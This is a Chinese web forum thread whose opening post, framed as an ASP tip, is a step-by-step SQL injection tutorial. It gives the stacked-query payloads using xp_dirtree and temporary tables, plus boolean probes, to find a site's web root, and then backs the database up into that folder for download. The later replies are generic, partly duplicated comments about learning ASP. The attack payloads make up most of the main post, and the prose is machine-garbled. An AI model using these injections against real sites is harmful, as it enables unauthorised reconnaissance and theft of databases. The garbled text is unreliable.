仓酷云

标题: ASP网站制作之教你疾速取得WEB根目次的技能 [打印本页]

作者: 再现理想    时间: 2015-2-3 23:28
标题: ASP网站制作之教你疾速取得WEB根目次的技能
由于ASP提供的是一对多的服务,所以用户的一些特殊需求很难得到满足。web|技能     本文章针对以下情况,假如不合适以下的前提,就不合适用上面提到的办法来取得WEB根目次。

  1、SQL SERVER答应履行多行语句;

  2、该网站能停止注入;

  3、没有前往具体的毛病提醒信息(不然没有需要用这类办法)。

  依据经历,怀疑WEB根目次的按次是:d盘、e盘、c盘,起首咱们创立一个一时表用于寄存master..xp_dirtree(合适于public)生成的目次树,用以下语句:

  ;create table temp(dir nvarchar(255),depth varchar(255));--,该表的dir字段暗示目次的称号,depth字段暗示目次的深度。然后履行xp_dirtree取得D盘的目次树,语句以下:
  
  ;insert temp(dir,depth) exec master.dbo.xp_dirtree 'd:';--

  在停止上面的操作前,先检查D盘有几个文件夹,如许对D盘有个大致的懂得,语句以下:

  and (select count(*) from temp where depth=1 and dir not in
('Documents and Settings','Program Files','RECYCLER','System VolumeInformation',
'WINDOWS','CAConfig','wmpub',
'Microsoft UAM 卷'))>=数字(数字=0、1、2、3...)

  接着,咱们在对方的网站上找几个一级子目次,如user、photo,然后,用挑选的办法来判别WEB根目次上是不是存在此盘上,语句以下:

  and (select count(*) from temp where dir<>'user')<(select count(*) from temp)

  看语句的前往了局,假如为真,暗示WEB根目次有能够在此盘上,为了进一步确认,多测试几个子目次:

  and (select count(*) from temp where dir<>'photo')<(select count(*) from temp)

  ...

  假如一切的测试了局都为真,暗示WEB根目次很有能够在此盘上。

  上面假定找到的WEB根目次在此盘上,用以下的语句来取得一级子目次的深度:

  and (select depth from temp where dir='user')>=数字(数字=1、2、3...)

  假定失掉的depth是3,申明user目次是D盘的3级目次,则WEB根目次是D盘的二级目次。

  今朝咱们已晓得了根目次地点的盘符和深度,要找到根目次的详细地位,咱们来从D盘根目次入手下手一一搜索,固然,没有需要晓得每一个目次的称号,不然太消耗工夫了。

  接上去,别的创立一个一时表,用来寄存D盘的1级子目次下的一切目次,语句以下:

  ;create table temp1(dir nvarchar(255),depth varchar(255));--
  然后把从D盘的第一个子目次下的一切目次存到temp1中,语句以下:

  declare @dirname varchar(255);set @dirname='
d:\'+(select top 1 dir from (select top 1 dir from temp where depth=1 and dir not in('Documents and Settings',
'Program Files','RECYCLER',
'System VolumeInformation','WINDOWS',
'CAConfig','wmpub',
'Microsoft UAM 卷') order by dir desc)T order by dir);
insert into temp1 exec master.dbo.xp_dirtree @dirname

  固然也能够把D盘的第二个子目次下的一切目次存到temp1中,只需把第二个top 1改成top 2就好了。

  如今,temp1中已保留了一切D盘第一级子目次下的一切目次,然后,咱们用一样的办法来判别根目次是不是在此一级子目次下:

  and (select count(*) from temp1 where dir<>'user')<(select count(*) from temp1)   假如前往为真,暗示根目次能够在此子目次下,记住要多测试几个例子,假如都前往为假,则标明WEB根目次不在此目次下,然后咱们在用一样的办法来取得D盘第2、3...个子目次下的一切目次列表,来判别WEB根目次是不是在其下。然而,要注重,用xp_dirtree前必定要把temp1表中的内容删除。

  如今假定,WEB根目次在D盘的第一级子目次下,该子目次称号为website,如何取得这个目次的称号我想不必我说了吧。由于后面咱们晓得了WEB根目次的深度为2,咱们需求晓得website下究竟哪一个才是真实的WEB根目次。

  如今,咱们用一样的办法,再创立第3个一时表:

  ;create table temp2(dir nvarchar(255),depth varchar(255));--

  然后把从D盘的website下的一切目次存到temp2中,语句以下:

  declare @dirname varchar(255);set @dirname='d:\website\'
+(select top 1 dir from (select top 1 dir from temp1 where depth=1 and dir not in('Documents and Settings',
'Program Files','RECYCLER',
'System VolumeInformation','WINDOWS','CAConfig',
'wmpub','Microsoft UAM 卷') order by dir desc)T order by dir);
insert into temp2 exec master.dbo.xp_dirtree @dirname

  固然也能够把D盘的website下第二个子目次下的一切目次存到temp2中,只需把第二个top 1改成top 2就好了。

  如今,咱们用一样的办法判别该目次是不是为根目次:

  and (select count(*) from temp2 where dir<>'user')<(select count(*) from temp2)

  假如前往为真,为了肯定咱们的判别,多测试几个例子,办法下面都讲到了,假如多个例子都前往为真,那末就肯定了该目次为WEB根目次。

  用以上的办法根基上可以取得WEB根目次,如今咱们假定WEB根目次是:D:\website\www

  然后,咱们就能够备份以后数据库到这个目次下用来下载。备份前咱们把temp、temp1、temp2的内容清空,然后C、D、E盘的目次树分离存到temp、temp1、temp2中。

  下载完数据库后要记得把三个一时表DROP失落,如今咱们鄙人载的数据库中可以找到一切的目次列表,包含后台办理的目次和更多信息。
缺点:安全性不是太差了,还行,只要你充分利用系统自带的工具;唯一缺点就是执行效率慢,如何进行网站优化以后,效果会比较好。
作者: 分手快乐    时间: 2015-2-3 23:33
下载一个源代码,然后再下载一个VBScript帮助,在源代码中遇到不认识的函数或是其他什么程序,都可以查帮助进行解决,这样学习效率很高。
作者: 兰色精灵    时间: 2015-2-4 01:42
运用经典的例子。并且自己可以用他来实现一些简单的系统。如果可以对他进行进一步的修改,找出你觉得可以提高性能的地方,加上自己的设计,那就更上一个层次了,也就会真正地感到有所收获。
作者: 谁可相欹    时间: 2015-2-7 11:38
没有坚实的理论做基础,那么我们连踏入社会第一步的资本都没有,特别对于计算机专业的学生学好专业知识是置关重要的。在这里我侧重讲一下如何学习ASP,从平时的学习过程中。
作者: 飘灵儿    时间: 2015-2-10 06:11
以上是语言本身的弱点,在功能方面ASP同样存在问题,第一是功能太弱,一些底层操作只能通过组件来完成,在这点上是远远比不上PHP/JSP,其次就是缺乏完善的纠错/调试功能,这点上ASP/PHP/JSP差不多。
作者: 灵魂腐蚀    时间: 2015-2-28 22:30
那么,ASP.Net有哪些改进呢?
作者: 第二个灵魂    时间: 2015-3-10 08:54
ASP(ActiveServerPages)是Microsfot公司1996年11月推出的WEB应用程序开发技术,它既不是一种程序语言,也不是一种开发工具,而是一种技术框架,不须使用微软的产品就能编写它的代码,能产生和执行动态、交互式、高效率的站占服务器的应用程序。
作者: 小妖女    时间: 2015-3-12 21:31
我想问如何掌握学习节奏(先学什么再学什么)最好详细点?
作者: 冷月葬花魂    时间: 2015-3-14 21:48
哪些内置对象是可以跳过的,或者哪些属性和方法是用不到的?
作者: admin    时间: 2015-3-20 19:51
你可以通过继承已有的对象最大限度保护你以前的投资。并且C#和C++、Java一样提供了完善的调试/纠错体系。
作者: 深爱那片海    时间: 2015-3-27 10:35
弱类型造成潜在的出错可能:尽管弱数据类型的编程语言使用起来回方便一些,但相对于它所造成的出错几率是远远得不偿失的。
作者: 仓酷云    时间: 2015-4-4 14:51
虽然ASP也有很多网络教程。但是这些都不系统。都是半路出家,只是从一个例子告诉你怎么用。不会深入讨论,更不会将没有出现在例子里的方法都一一列举出来。
作者: 因胸联盟    时间: 2015-4-12 11:42
我们必须明确一个大方向,不要只是停留在因为学而去学,我们应有方向应有目标.
作者: 小女巫    时间: 2015-4-29 05:01
虽然ASP也有很多网络教程。但是这些都不系统。都是半路出家,只是从一个例子告诉你怎么用。不会深入讨论,更不会将没有出现在例子里的方法都一一列举出来。
作者: 爱飞    时间: 2015-5-2 19:59
代码的可重用性差:由于是面向结构的编程方式,并且混合html,所以可能页面原型修改一点,整个程序都需要修改,更别提代码重用了。
作者: 若相依    时间: 2015-5-4 06:57
Session:这个存储跟客户端会话过程的数据,默认20分钟失效
作者: 乐观    时间: 2015-5-10 17:41
ASP主要是用好六个对象,其实最主要的是用好其中两个:response和request,就可以随心所欲地控制网页变换和响应用户动作了。
作者: 透明    时间: 2015-6-4 01:21
ASP主要是用好六个对象,其实最主要的是用好其中两个:response和request,就可以随心所欲地控制网页变换和响应用户动作了。
作者: 山那边是海    时间: 2015-6-9 20:21
以上是语言本身的弱点,在功能方面ASP同样存在问题,第一是功能太弱,一些底层操作只能通过组件来完成,在这点上是远远比不上PHP/JSP,其次就是缺乏完善的纠错/调试功能,这点上ASP/PHP/JSP差不多。
作者: 愤怒的大鸟    时间: 2015-6-18 14:29
尽管MS自己讲C#内核中更多的象VC,但实际上我还是认为它和Java更象一些吧。首先它是面向对象的编程语言,而不是一种脚本,所以它具有面向对象编程语言的一切特性,比如封装性、继承性、多态性等等,这就解决了刚才谈到的ASP的那些弱点。
作者: 活着的死人    时间: 2015-6-30 21:44
Server:这个表示的服务器,操作服务器的一些东西使用这个,如Server.Mappath转换服务器路径,Server.CreateObject实例化一个组件




欢迎光临 仓酷云 (http://ckuyun.com/) Powered by Discuz! X3.2